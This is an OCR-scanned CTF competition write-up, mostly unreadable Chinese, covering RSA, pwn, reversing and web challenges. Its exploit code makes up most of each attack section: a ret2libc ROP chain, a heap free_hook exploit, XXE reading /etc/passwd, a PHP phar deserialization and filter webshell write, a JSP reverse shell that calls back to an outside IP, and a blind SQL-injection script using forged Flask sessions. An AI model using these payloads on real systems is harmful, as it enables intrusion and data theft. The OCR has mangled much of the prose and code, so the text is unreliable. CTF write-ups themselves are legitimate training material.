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RIR LaTeX B4 S, SHHEML: hitps:/blog.csdn.net/ CCFlccf/article/details/89643585, 4 7l #k i 8 N Z T R £ 1
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koA flag, EEEAE TR flag{fun_LaTeX_Math}

# flag{y+ ¥ & md5 153 flag

BT
mid5{fun_LaTeX_Math,32) = e1b217dc3b5ed0b237b45elab36e5286
mdS{fun_LaTeX_Math,16) = 365200b237b45e0a
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flag{e1b217dc3b5e90b237b45e0a636e5a86}

hamburgerRSA

R, 2% https://huangx607087.online/2021/08/03/CryptoCTFWriteUp1/#toc-heading-5
H ) 4.hamul
exp w'F

from Crypto.Util.number import *

import gmpy2

n =
177269125756508652546242326065138402971542751112423326033880862868822
164234452280738170245589798474033047460920552550018968571267978283756
742722231922451193

Cc =
477180226013245433990783959570950837532016313328089494069270915890448
375564693008077284840355814479609546035403481525010531000671394868873
67207461593404096

e = 65537

def getpq(p,q):

P = int(str(p) + str(p))

Q = int(str(q) + str(q))

PP = int(str(P) + str(Q))

QQ = int(str(Q) + str(P))

return PP,QQ

p,q=9788542938580474429 , 18109858317913867117

p.q-getpq(p.q)

phi=(p-1)*(q-1)



d=inverse(e,phi)

print(long_to_bytes(pow(c,d,n)))

# #Sagemath

#
n=1772691257565086525462423260651384029715427511124233260338808628688
221642344522807381702455897984740330474609205525500189685712679782837
56742722231922451193

# 177269125756508652526742722231922451193

# n=n - 2*(10**136)

# H,L=n//10%*136,n%10**19

# factor(int(str(H)+str(L)))

# #9788542938580474429 * 18109858317913867117

for i in table:

for j in table:

for k in table:

tmp =1+ j + k

num

int(strl + tmp + str2)

print(factor(num))

print(b'\n'from Crypto.Util.number import *

import gmpy2

n =
177269125756508652546242326065138402971542751112423326033880862868822
164234452280738170245589798474033047460920552550018968571267978283756
742722231922451193

C =
477180226013245433990783959570950837532016313328089494069270915890448
375564693008077284840355814479609546035403481525010531000671394868873
67207461593404096

e = 65537

def getpq(p,q):

P = int(str(p) + str(p))

Q = int(str(q) + str(q))

PP = int(str(P) + str(Q))

QQ = int(str(Q) + str(P))

return PP,QQ

p,q=9788542938580474429 , 18109858317913867117

p.q=getpq(p.q)

phi=(p-1)*(q-1)

d=inverse(e,phi)

print(long_to_bytes(pow(c,d,n)))

# #Sagemath

#
n=1772691257565086525462423260651384029715427511124233260338808628688
221642344522807381702455897984740330474609205525500189685712679782837
56742722231922451193

# 177269125756508652526742722231922451193

# n=n - 2*(10**136)

# H,L=n//10**136,n%10**19

# factor(int(str(H)+str(L)))

# #9788542938580474429 * 18109858317913867117

for i in table:

for j in table:

for k in table:

tmp =1+ Jj + k

int(strl + tmp + str2)

print(factor(num))

print(b'\n")

num

flag{f8d8bfa5-6¢7f-14cb-908b-abc1e96946¢6}



PWN
babyrop

#5& canary 285 ret2libc, EH libc EHuhlk, REHH system Hl binsh 7E libc B sk N b libc F Huhk 5t 2 A 4] E 1E i e
bt EIRFFERSREEREMNE, X Bi%H poprdi SRECAIESE . rsp M rbp FHRHITHRITHE .
exp:

from pwn import *

import time

io=process('./br")

io=remote('123.56.122.14"',22392)

elf=ELF("./br")

libc=ELF("/1ib/x86_64-1inux-gnu/libc.so.6")

context.log _level='debug'

rdi=0x0000000000400913

io.recv()

io.send('a"*0x18+'b")

io.recvuntil('b")

canary=u64(io.recv(7).rjust(8, '\x00"))

io.recv()

io.sendline(str(0x4009ae))

io.recv()

io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072¢))
io.send('a'*0x18+p64(canary)+p64(0x601940)+p64(0x40072¢))
io.send(p64(canary)+p64(0x601950)+p64(rdi)+p6d(elf.got| 'puts'])+p6d(e
1f.plt['puts'])+p64(0x400717))
libc_base=u64(io.recvuntil("\x7f")[-6:].1just(8,"\x00"))-1ibc.sym[ 'pu
ts']

system=1ibc_base+libc.sym[ 'system"]
sh=1ibc_base+libc.search('/bin/sh") .next()
io.send('a'*0x18+p64(canary)+p64(0x601960)+p64(0x40072¢))
io.send(p64(canary)+p64(0x0000000000400284 )+p64(rdi)+p64(sh)+p64(syst
em))

io.interactive()

flag{16d5f886-2720-450c-b82e-7a0def2bed46}

bookshop

uaf,2.31 4 R/MR KRB 4, T edit BREk 5 F48 2] fastbin double free. FIF double free &2t chunk size i 0x420 /MK
chunk BT tcache JR/DHERI B E, HamiX B HBEBEK RS 24 4 chunk.

M3t 55 5 AT AL ER libe, FEERIFE — kG IRE FRIE, N reeBI T RIEIEER, HEM fd, B&J5 hook attack
BATTLLET tc R

pwndbg> bin

tcachebins
ox80 [ 3]: Ox5555555592a0 —» ©x5555555592b0 —» ©x555555559320 <«— 0x421

HMNBEEE 0x2b0 RHARTERATLU—H TRT

pwndbg> x/32gx 0x5555555592b0

0x5555555592b0: 0x0000555555559320 0x0000555555559010
©x5555555592¢c0: 0x00005555555592a0 0Ox00005555555592a0
0x5555555592d0: 0x0000000000000421 0x0000000000000421

MRE—ADRENETRSER, TRHIFEEXEHRE 0x2a0 E£ 2a0 £ free &, fd HREEE A hook 58



from pwn import *

r=process('./bookshop")

#context. log_Level="debug' Libc=ELF('/Lib/x86_64-Linux-gnu/lLibc.so0.6")
def add(con):

r.sendlineafter(">> ",str(1))

r.sendafter("> "
def dele(idx):
r.sendlineafter(">> ",str(2))
r.sendlineafter("bag?\n",str(idx))
def show(idx):

r.sendlineafter(">> ",str(3))
r.sendlineafter("read?\n",str(idx))

,con)

r.recv()

r.sendline(str(0x78))

for i in range(9):

add('1")#0-8

for i in range(9):

dele(i)

dele(7)

show(2)

r.recvuntil("t: ")
base=u64(r.recv(6)+b'\x00"'*2)-0x70
print(hex(base))

for i in range(7):
add(p64(0x421)*14)#9-15 (4% chunk
add(p64(base)+p64(0))#16
add(p64(0x21)*14)#17

add (p64(0x21)*14)#18 17-18 £ T4t & H M
add('a')#19

dele(19)

show(19)

r.recvuntil("t: ")
libc_base=u64(r.recv(6)+b'\x00"'*2)-0xlebbed
print(hex(libc_base))

f_hook = libc_base+libc.sym[' free hook']
system = libc_base+libc.sym[ 'system' ]
add('a')#20

dele(1)

dele(19)

dele(0)

add(p64(0)*2+p64(f_hook) )#21
add('/bin/sh\x00"')#22
add(p64(system))#23

dele(22)

#gdb.attach(r)

r.interactive()

Misc
Un(ix)zip

ERNRELR, B, TR 0 FHWHET, RIEHROHEFRMFFIERTE, AT —5 base6d, HERZEKX
5, RENEHREE XN TEEE flag
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BB AE IR T, B REYUNE EE, FLEREER TR NTFIRREER, HREFERA F/IAEHA
FHEAL, Ul ERSHESR:

TE3% BRI
w33 V7 = Vb,
® 35 dword_98336C = v6;
® 36 v9 = v6;
37 }

@ 38 while ( v6 < 42 );

@ = "fake input..\n";
®40  if ( v7 == 42 ) -
® 41 v1® = "congratulation |GG CEEF

PATEEH AL DA B3EREAGERF MK <5 B SR H 4R

data:e@wdB33/0 ; char byte_39833/9[48]

data:80983370 byte_98337@ db 58h ; DATA XREF: _main+3E
data:@8983370 ; _main+Alfw ..
data:00983371 db 9@h
data:8e983372 db @FAh
data:@@983373 db @D8h
data:9e983374 db eDCh
data:0e983375 db 1Dh
data:00983376 db eDDh
data:00983377 db eCAh
data:08983378 db @D8h
data:00983379 db @F5h
data:0@98337A db 27h ; '
data:8098337B db @A6h
data:0@98337C db eAsh
data:0e98337D db 8eh ; €
data:0e98337E db 95h
data:8098337F db @D8h
data:00983380 db @F2h
data:0@983381 db @F7h
data:00983382 db @Blh
data:00983383 db 8Eh
data:80983384 db ©Fh
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XERMBARZ 48 11, FiLd

Flag=ord(“1”)* byte_983370[i]* byte_E62138]i]

byte E62138 £ FEFEM, byte_983370 & -EZhiAKIEITE R
A2 flag



#include <stdio.h>

#include <stdbool.h>

#include <iostream>

#tinclude<stdint.h>

using namespace std;

char byte E62138[44]={0x3E, OxCD, OxAA, Ox8E, 0x96, Ox1F, Ox89, OxCD, OxDB, OxF1l, Ox70, OxF2, OxA9, Ox9C, 0OxC2,
Ox8B, OxF2, OXFE, OxAD, Ox8B, Ox58, Ox7C, OXx2F, Ox3, Ox4A, Ox65, Ox31l, Ox89, Ox76, Ox57, Ox88, OxDF, OxB8, OXE9,
ox1, OxE9, OxDE, OxE5, ox86, 0x68, Ox8F, ©x24, ©xD3, Ox5A};

char key[44] =

{Bx69,0x90,0xFA, 0xD8,0xDC, 0x1D, OXDD, OXCA, OXD8, OXF5,0x27 ,0xA6 , 0xA8 ,0x80, 0x95 , 0XD8, OXF2, 0

XF7,0xB1,0x8E,0x0F ,0x75,0x29,0x1F,0x42,0x67,0x63,0x89,0x6A,0x57,0xDC,0x8D,0xBB,0xE9,0x07 , OXBE,0xD7,0xE2,0x80,0
X60,0x88,0x68,0xD3,0x5A};

int v4; // eax

int __cdecl main(int argc, const char** argv, const char** envp){

int v3; // ecx

int v5; // esi

int v6; // edx

int v7; // ecx

int v8; // esi

int v9; // eax

char* v10; // eax

int v12; // [esp-4h] [ebp-2Ch]

const char** v13; // [esp+06h] [ebp-28h]

const char** v14; // [esp+4h] [ebp-24h]

for (int 1 = 0; i < 44; i++) {

byte E62138[i]| "= key[i]"49;

¥

cout << byte_E62138 << endl;

return 0;

}

B17 % B2 flag

flag{3e625fe0-fb18-4f87-93¢c1-1ec217f86796}
Web
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G AR EL AR xml EANBE S

<?xml version="1.0" ?>

<!DOCTYPE feng [

<IENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
1>

<user><username>&file;</username><password>fengl</password></user>

#—F login.php, upload.php, class.php



<?php

session_start();

if (!isset($_SESSION['login'])) {

header("Location: login.php");

die();

}

include "class.php";

if (isset($_FILES["file"])) {

$dst_path = 'upload/'.md5("test".$_SERVER['REMOTE_ADDR']);
@mkdir($dst_path);
file_put_contents($dst_path.'/index.html', 'Nothing!");
$filename = $_FILES["file"]["name"];

$file = new File();

$basename = $file->get_file_name($filename);

$fileext = $file->get_real_ext($_FILES["file"]["type"]);
$dst_path = $dst_path."/".md5($basename).$fileext;
$filezise = $file->get_file_size($filename);

if (strlen($filename) < 70 && strlen($filename) !== @) {
move_uploaded_file($ FILES["file"]["tmp_name"], $dst_path);
$response = array("success" => true, "message" => "File upload success", "filesize"
$filezise);

Header("Content-type: application/json");

echo json_encode($response);

} else {

$response = array("success" => false, "error" => "Invaild filename");
Header("Content-type: application/json");

echo json_encode($response);

¥

¥

?>



<?php

session_start();

if (isset($_SESSION['login'])) {

header("Location: index.php");

die();

}

?>

<?php

ini_set("display_errors", "On");

error_reporting(E_ALL | E_STRICT);

include "class.php";

libxml_disable_entity_loader(false);

$xmlfile = file_get_contents('php://input');

try{

$dom = new DOMDocument();

$dom->1loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

$creds = simplexml_import_dom($dom);

$username = $creds->username;

$password = $creds->password;

$user = new User();

if (strlen($username) < 20 && $user->verify_user($username, $password)) {
$_SESSION[ 'login'] = true;

$ SESSION['address'] = $_SERVER['REMOTE_ADDR'];

$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,%username);
header('Content-Type: text/html; charset=utf-8");

echo $result;

die("<script>window.location.href="index.php';</script>");

} else{

$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,%username);
header('Content-Type: text/html; charset=utf-8");

die($result);

¥

}catch(Exception $e) {

$result =
sprintf("<result><code>%d</code><msg>%s</msg></result>",3,%e->getMessage());
header('Content-Type: text/html; charset=utf-8");

echo $result;

}

?>

<?php

abstract class Users {

public $db;

abstract public function verify_user($username, $password);
abstract public function check_user_exist($username);
abstract public function add_user($username, $password);
abstract protected function eval();

public function test() {

$this->eval();

}

}

class User extends Users {
public $db;

private $func;

protected $param;

public function __ construct() {
global $db;

$this->db = $db;

}



public tuncTion verity_user(jusername, ppassword) i{
if (!$this->check_user_exist($username)) {

return false;

}

$password = md5($password . "7a28b8eb92558ea2");

$stmt = $this->db->prepare("SELECT “password™ FROM “users™ WHERE “username™ = ?;");
$stmt->bind_param("s", $username);

$stmt->execute();

$stmt->bind_result($expect);

$stmt->fetch();

if (isset($expect) & $expect === $password) {

return true;

}

return false;

}

public function check_user_exist($username) {
$stmt = $this->db->prepare("SELECT “username’ FROM “users™ WHERE “username™ = ?
LIMIT 1;");

$stmt->bind_param("s", $username);
$stmt->execute();

$stmt->store_result();

$count = $stmt->num_rows;

if ($count === @) {

return false;

}

return true;

¥

public function add_user($username, $password) {
if ($this->check_user_exist($username)) {

return false;

¥

$password = md5($password . "7a28b8eb92558ea2");
$stmt = $this->db->prepare("INSERT INTO “users™ (" id’, “username’, “password ) VALUES
(NULL, 2, ?);");

$stmt->bind_param(“ss", $username, $password);
$stmt->execute();

return true;

¥

protected function eval() {

if (is_array($this->param)) {

($this->func) ($this->param);

} else {

die("no!");

}

}

}

class Welcome{

public $file;

public $username;

public $password;

public $verify;

public $greeting;

public function __ toString(){

return $this->verify->verify_user($this->username,$this->password);

}
public function _ wakeup(){

$this->greeting = "Welcome ".$this->username.":)";

}
}

class File {



public $filename;

public $fileext;

public $basename;

public function check_file_exist($filename) {
if (file_exists($filename) && !is_dir($filename)) {
return true;

} else {

return false;

}

}

public function get_real_ext($minitype) {
switch ($minitype) {

case 'image/gif':

$this->fileext = ".gif";

return $this->fileext;

case 'image/jpeg':

$this->fileext = ".jpg";

return $this->fileext;

case 'image/png':

$this->fileext = ".png";
return $this->fileext;
default:

$this->fileext = ".gif";
return $this->fileext;

}

¥

public function get_file_name($filename) {
$pos = strrpos($filename, ".");

if ($pos !== false) {

$this->basename = substr($filename, @, $pos);
return $this->basename;

¥

¥
public function __call($func, $params) {

foreach($params as $param){
if($this->check_file_exist($param)) {
$this->filename->test();

¥

¥

¥

public function get file size($filename) {

$size = filesize($filename);

$units = array(' B', ' KB', ' MB', ' GB', ' TB');

for ($i = @; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];

}

}

class Logs {

public $log;

public function log() {

$log = $_GET['log'];
if(preg_match("/rotl3|base|toupper|encode|decode|convert|bzip2/i", $log)) {
die("hack!");

}

file_put_contents($log, '<?php exit();'.%$log);

}

}

?>



R phar filt X R FFFML T, REEET EARRBRAE AN FIE:

$dst_path = 'upload/'.md5("test".$ SERVER['REMOTE_ADDR']);

ARRFBER, (HRZTMIR AT LR EEHLIRIL T fEE A apache IR, S BT remote_addr ¥&iENE. {H/ login.php 3F &
EE ST session B

$_SESSION[ 'login'] = true;
$_SESSION[ 'address'] = $ SERVER['REMOTE_ADDR'];

£ EEH xml 23— T session B[ 2 #8542, session XA B £ MR TE /var/1ib/php/sessions/ « KFFFILAUL
T, BREGWHE, A/ phar

<?php

abstract class Users {

public $db;

abstract public function verify_user($username, $password);
abstract public function check_user_exist($username);
abstract public function add_user($username, $password);
abstract protected function eval();

public function test() {

$this->eval();

}

}

class User extends Users {
public $db;

private $func;

protected $param;

public function _ construct() {
global $db;

//$this->db = $db;

$this->func = "call_user_func";

$this->param = ["Logs","log"];

}

public function verify_user($username, $password) {
if (!$this->check_user_exist($username)) {

return false;

¥

$password = md5($password . "7a28b8eb92558ea2");
$stmt = $this->db->prepare("SELECT “password™ FROM “users™ WHERE “username™ = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();

$stmt->bind_result($expect);

$stmt->fetch();

if (isset($expect) && $expect === $password) {
return true;

}

return false;

}

public function check_user_exist($username) {

$stmt = $this->db->prepare("SELECT “username” FROM “users”™ WHERE “username™ = ?
LIMIT 1;");

$stmt->bind_param("s", $username);
$stmt->execute();

$stmt->store_result();

$count = $stmt->num_rows;

if ($count === 0) {

return false;

}



return true;

¥

public function add_user($username, $password) {
if ($this->check_user_exist($username)) {

return false;

}

$password = md5($password . "7a28b8eb92558ea2");
$stmt = $this->db->prepare("INSERT INTO “users™ (" id’, “username’, “password’ ) VALUES
(NULL, 2, ?);");

$stmt->bind_param("“ss", $username, $password);
$stmt->execute();

return true;

}

protected function eval() {

if (is_array($this->param)) {
//var_dump($this->param);

($this->func) ($this->param);

} else {

die("no!");

}

}

¥

class Welcome{

public $file;

public $username;

public $password;

public $verify;

public $greeting;

public function _ construct(){

$this->verify = new File();

//$this->username = new Welcome();
$this->password = "/etc/passwd";

}

public function __toString(){

return $this->verify->verify user($this->username,$this->password);

}
public function _ wakeup(){

$this->greeting = "Welcome ".$this->username.":)";

}
}

class File {

public $filename;

public $fileext;

public $basename;

public function check_file_exist($filename) {
if (file_exists($filename) && !is_dir($filename)) {
return true;

} else {

return false;

}

}

public function _ construct(){
$this->filename = new User();

}

public function _ call($func, $params) {
foreach($params as $param){
if($this->check file exist($param)) {
$this->filename->test();

b
1
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b

class Logs {

public $log;

public function log() {

$log = $_GET['log'];
if(preg_match("/rotl3|base|toupper|encode|decode|convert|bzip2/i", $log)) {
die("hack!");

)

var_dump($log);

file_put_contents($log, '<?php exit();"'.%$log);

exit();

}

}

$a = new Welcome();

$a->username = new Welcome();

$a->username->username = "/etc/passwd";
@unlink("phar.phar");

$phar = new Phar("phar.phar"); //E&Eu4% phar
$phar->startBuffering();

$phar->setStub("<?php _ HALT_COMPILER(); 2>"); //&Z& stub
$phar->setMetadata($a); //#HEHZEXH meta-data 7ZA manifest
$phar->addFromString("test.txt", "test"); //HIIEEHHIX I
V& AL A

$phar->stopBuffering();

?>

WG JE R png JE A%, RJEMA phar BIFT 7ML, filtk i IE—AS, F xml B34S T

<?xml version="1.0" ?>

<!DOCTYPE feng [

<IENTITY file SYSTEM
"phar:///var/www/html/upload/9603c62adf13a9213ea31b712d5c320f/0ccl75b9cOf1b6a831c39
9e269772661.png">

1>

<user><username>&file;</username><password>fengl</password></user>

RIEE RGN log 142

$log = $_GET['log'];
if(preg_match("/rot13|base|toupper|encode|decode|convert|bzip2/i", $log)) {
die("hack!");

}
file_put_contents($log, '<?php exit();"'.$log);
exit();

?log=php://filter/write=string.%7%320t13[<?=flLfgrz($ _TRG[O]);?>|/resource=feng.php

SRJG /readflag BIW],
flag{4299d308-b095-464f-96be-d6306e187917}

HackMe

28 https:/ww.anquanke.com/post/id/259487#h2-8 iXi& i
B R IR B L JRR 5
uft16BE %



<% Runtime.getRuntime().exec("bash -c
echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8ONy4xMDAUMIcUMTEOLZgWNTYgMD4mMQ==} | {base64, -d
| {bash,-i}"); %

X EA%

J"I'L | 1 ! | B ==k |

nitial-scale=1

64; x64) AppleWebKit/537 36 (KHTML, like Gecko . HTTP/.1 X
r 021 14:54:09 GMT
itml; charset=UTF-8
=(0.9 image/avif image/webp image/apng,*/*, 0.8 ap
cil.ichungiu. com:8888/page. jsp?file=upload E
=0.8,zh-CN; q=0 =
Connaction: close
- WebkKitFormBoundaryLgUPwvNJISZW2Fro t A 3 org/ TR/htmid/loose. dt
-Disposition: form uploadFile”; filename="I3h.js¢ <html lang="er
Content-Type: application/octet-stream
00<% Runtime bash " content="width=device-width
echo,YmFza vZGV2L3R)cCBONy4 xMDAUMjcuMTEOLzgwNT Y gMD4mMO==}{base=b4 -d cmeta hitp-equiv= Compatible” content="ie=edge">

Document</titie>

{bash -i} o
-WebkitF ormBoundaryLgUPwvNJISTW2F ro-

*{box sizing: border-box:}

RGBS, bp BB R

import requests

url =
"http://eci-2zeahv4vzgsavlz5d@ey.cloudecil.ichunqiu.com:8888/page.jsp?file=upload/4e5b09b2
14917619ccal55c8bd6d8ee5/20211211105409%s"
for i in range(1,999

re = requests.get(url%(str(i).rjust(3,'0’
print(url%(str(i).rjust(3,'0"

if "Something went wrong" not in re.text
print(re.text

print(i

exit(o

HEAR 12 /N

yudecil. ichungiu. c
'.ClmUdECil.iChUHuiU.

-;.nluuL__ll ichungiu. ¢

html

head>

meta rharsu;
TIT]




fhtmli

644 CSDN @t % B4

R 554% nc EWT

@feng ]1# nc -lvvp 8056
: Version 7.70 ( https://nmap.org/ncat )
: Listening on :::8656
: Listening on 0.0.0.0:8056
: Connection from 39.105.23.123.
: Connection from 39.105.23.123:29047.
: cannot set terminal process group (10): ILnappropriate 1octl for device
: no job control in this shell
ctfer@engine-1:/% 1s /
1s /
apache-tomcat-8.5.71.tar.gz
bin




CSDN @2 24

—
E
-

1 $(document).ready(function () {
2 var datas = new Object();
3 datas.islogin = true;
4 datas.pic = "banner.jpg";
5 var data = JSON.stringify(datas)
6
7 $.ajax({
8 url: "/images”,
9 type: "POST",
10 data: data,
11 success: function (msg) {
12 if(location.href.indexof("#reloaded")==-1){
13 location.href=location.href+"#reloaded”;
14 location.reload();
15 }
16 }
17 b
18 })
19
R

Jrigin: hitp:eci-22ehb05986Icmojp3n22. cloudecil.ichungiu.com:8888

sontent-Type: application/x-www-form-urlencoded

Iser-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64) AppleWebKit/537 36 (KHTML, like Gecko)
+hrome/96.0.4664 93 Safar/S37 36

\ccept:

ext/html application/xhtmi+xml application/xml;q=0.9 image/avif image/webp image/apng */*,q=0 8 ap
ilication/signed-axchangs;v=b3;q=0 9

teferer. http:/feci-22ehb05986lcmojp3n22. cloudecil.ichungiu. com:8888/home

\ccept-Encoding: gzip, deflate

\ccept-Language: en-US an;q=0.9 zh-HK;q=0.8,zh-CN,¢=0.7 zh,q=0.6

ookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDICOC00,

_jsluid_h=bc177503126f059e92d6e 12d24fcf0;

iession=. eJw1i8sJgDAMQF cJORcHcAINBprpCSStkIRA7 cevl7PJZKTRVEci1cOeMqCiBEkyj4cZBSO3
YZInDufBUIb1 Azed BmFUxTgS0uBvs|1bKbS219_skEhE-LzzbmQ. YhSqMA MQOPEWVBRVems3w_
JLuEiL2etqk

onnection: close

“isLogin™true, “pic™". ./ 1 [ ./ [ I Iproc/selffanviron”)

Content-Length: 38

Connection: close

Vary: Cookie

Set-Cookie:

session=. eJxlyzEKgDAMheGrhMzS7I7 CMwSNGIJpK1 QxLtbBythbe __LpSchBPFsXjIAQ-ZccQQ4n-H
2xwzpzWynuKm2HO3VRLnbIZRMK b1 Mw-QLMKpqnBTieDISfVsptLaR2_Y YdEhPcDnMICQ. YbSqp
w IQULIgpvKY Kx4OBAHFNGFheo; HitpOnly, Path=/

X-Via-JSL: 5c465M -

X-Cache: bypass

whdododod A Jproc/self/environ

'®)
9]

SDN @+

# ¥ session RlHEi/home KB FEAZE K base64, REIRTHE session [ secrectk

Fae e T Vb T A b L TR [ESTRPrTee

REENE RS () TSR

MAIL=/var/mail/ctfer JUSER=ctfer THOSTNAME=engine-

N T

PO e L T e T e s v e s T e g

10SECRET_KEY=ookwjdiwoahwphjdpawhjpo649491abwd949awdawdadalSHLVL=1ZHOME=/home/ctfer JLOGNAME=ctfer__=/usr/bin
IsuCZTERM=xterm _PATH=/usr/local/sbin:/usr/local/bin:/ust/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin CLANG=C.UTF-
8TUDEBIAN_FRONTEND=noninteractive ZSHELL=/bin/shCHINT_IS_HERE=Mysql 8, and | executed CREATE DATABASE ctf DEFAULT
COLLATE utf8_general_ciCPWD=/home/srcC

S HTIRRY F] 40 session § user ALTEFEVEN
exp:



import requests

import flask_unsign

u = "http://eci-2zehb@59861cmojp3n22.cloudecil.ichunqiu.com:8888/home"

secretkey = 'ookwjdiwoahwphjdpawhjpo649491a6wd949awdawdada’ flag = '' for i in range(1,90):
for j in range(32,127):

tmp = flag+chr(j)

#session = {'islogin': True, 'pic': '', 'profiles': '', 'user':
"""1'or('%s'>(select(hex(group_concat(table_name)))from(information_schema.tables)where(tabl
e_schema="ctf')))or'1'="2"""%tmp}

session = {'islogin': True, 'pic': '', 'profiles': '', ‘'user':
"""1'or('%s'>(select(hex(group_concat(flaggggggg)))from(flagggishere)))or'1'="2"""%tmp}
session = flask_unsign.sign(session, secret=secretkey)

# print(session)

r = requests.get(url=u,cookies={ 'session’:session})

# print(r.text)

if 'Admin' in r.text:

flag+=chr(j-1)

print(flag)

break

19 if 'Admin’ in r.text:

20 flag+=chr(j-1)

21 print(flag)

22 break e

CSDN @284

S
AE EdH  EiEdE &R

666(61677B35386130626262
666(616778353861306262623
666(61677/B3538613062626238
666(61677B35386130626262382
666(616/7/835386130626262382D
666(61677B35386130626262382D3
666(6167/B35386130626262382D38
666(61677B35386130626262382D383
666(61677B35386130626262382D3832
666(61677B35386130626262382D38326
666(61677B35386130626262382D383266
666(61677B35386130626262382D3832666
666(61677B35386130626262382D38326664
666C61677835386130626262382D0383266642
666(61677835386130626262382D383266642D

n CSDN @234
BEAT hex 14

flag{c80bc5e8-edad-4253-9f7a-ceafab866df3}
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